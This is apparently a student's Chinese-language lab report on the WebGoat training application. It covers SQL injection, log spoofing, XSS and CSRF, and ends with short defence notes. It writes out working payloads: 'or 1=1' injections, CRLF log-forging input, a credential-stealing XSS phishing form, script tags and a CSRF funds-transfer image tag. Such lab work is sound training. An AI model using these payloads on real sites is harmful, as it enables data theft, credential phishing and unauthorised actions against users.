一、实验原理
1.SQL注入攻击
SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2.XSS攻击
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
3.CSRF攻击
CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
二、实验过程
(一)WebGoat安装
- 下载【Java -jar webgoat-container-7.0.1-war-exec.jar】文件。
- 输入 java -jar webgoat-container-7.0.1-war-exec.jar 运行WebGoat。
- 浏览器输入【localhost:8080/WebGoat】,输入用户名密码,但是没有出现课程。
- 按照这篇文章进行配置,然后重新运行WebGoat,浏览器登陆可以正常显示。
(二)SQL注入攻击
1.Numeric SQL Injection(数字型SQL注入)
原理:当输入的参数为整型如ID、年龄、页码等时,若存在注入漏洞,认为是数字型注入攻击。
目标:在页面尝试插入能够使所有天气数据显示出了的SQL字符串。
方法:用或和【1=1】来使语句永真。
单击右键选择【inspect Elemnet】,在<option>的城市编号【value="101】后面加【or 1=1】
点击【Go!】即可显示所有城市的天气。
2.Log Spoofing(日志欺骗)
原理:在日志文件中插入脚本,清除在日志中的痕迹。
目标:使用户名为“admin”的用户在日志中显示“成功登录”。
方法:利用回车【0d%】和换行符【%0a】使用户名在日志中显示为两行
在用户名输入4309xny%0d%0aLogin Succeeded for username: admin ,登录,显示如下
3.String SQL(字符串型注入)
原理:当SQL注入输入的参数为字符串时称为字符串型注入。
目标:尝试插入一个SQL字符串,以显示所有信用卡号码。使用“Smith”的用户名。
方法:【'】提前闭合,【1=1】永真和【--】注释
在用户名处输入【Smith' or 1=1--】,点击【Go!】。
(三)XSS攻击
1.Phishing with XSS(XSS钓鱼)
原理:当用户输入非法HTTP响应时,实现钓鱼工具或向某些官方页面中增加内容。
目标:创建一个 form,要求填写用户名和密码。将数据提交到【ttp://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=catcheUserName&password=catchedPasswordNam】。
方法:
在【Search】框输入
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("This website been attacked and your message has been stolen by xny. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
点击【Search】。
2.Stored XSS Attacks(存储型XSS攻击)
原理:把恶意脚本存储到被攻击网站的数据库,其他人访问到数据库中的恶意脚本后浏览器就会执行脚本,从而攻击网站。
目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
方法:
在【Title】中任意输入,【Message】输入 <script>alert("I am 20174309xny. You've been attacked hhhhhh!!!");</script> ,点击【Submit】提交。
3.Reflected XSS Attacks(反射型XSS攻击)
原理:使用攻击脚本创建一个URL,通过发布到另一个网站、通过电子邮件或其他方式让受害者点击它,当读取到该URL的时候就会被攻击。
目标:攻击当前的结账页面。
方法:
输入 <script>alert("You've been attacked by xny hhhh!!!");</script> ,点击【Purchase】。
(四)CSRF攻击
1.Cross Site Request Forgery(跨站请求伪造)
原理:跨站请求伪造是一种让受害者加载一个包含网页的图片,如<img src="http://www.myblank .com/me?transferFunds=5000&to=12345/">当浏览器视图呈现此网页时,将使用指定的参数向【www.myblank.com】的me发出请求,但实际上上一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此如果用户对站点进行了身份认证,并且拥有永久或当前会话cookie,那么站点将无法与将其与合法的用户请求缺乏开,通过这种方式,攻击者可以让受害者执行他们本不打算执行的操作,如购买物品,或者网站提供的其他功能。
目标: 向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求。
方法:
网页提示【Parameters】中的【src】为304,【menu】为900,在【Message】中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=104"/> ,点击【Submit】提交。
三、实验总结
(一)基础问题回答
1.SQL注入攻击原理?如何防御?
原理:SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
防御:SQL语句预编译和绑定变量,使用一些安全函数。
2.XSS攻击的原理?如何防御?
原理:XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
防御:对输入和URL参数进行过滤,对输出进行编码。
3.CSRF攻击原理?如何防御?
原理:CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
防御:验证Http Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。
(二)实验总结与体会
感觉有课程提示什么的,难度不是特别大,主要是要看懂网站给的信息和要做什么内容,全英文也还好,毕竟有百度翻译在。实验主要是了解了这三种攻击的原理,距离实践还是有一定差距。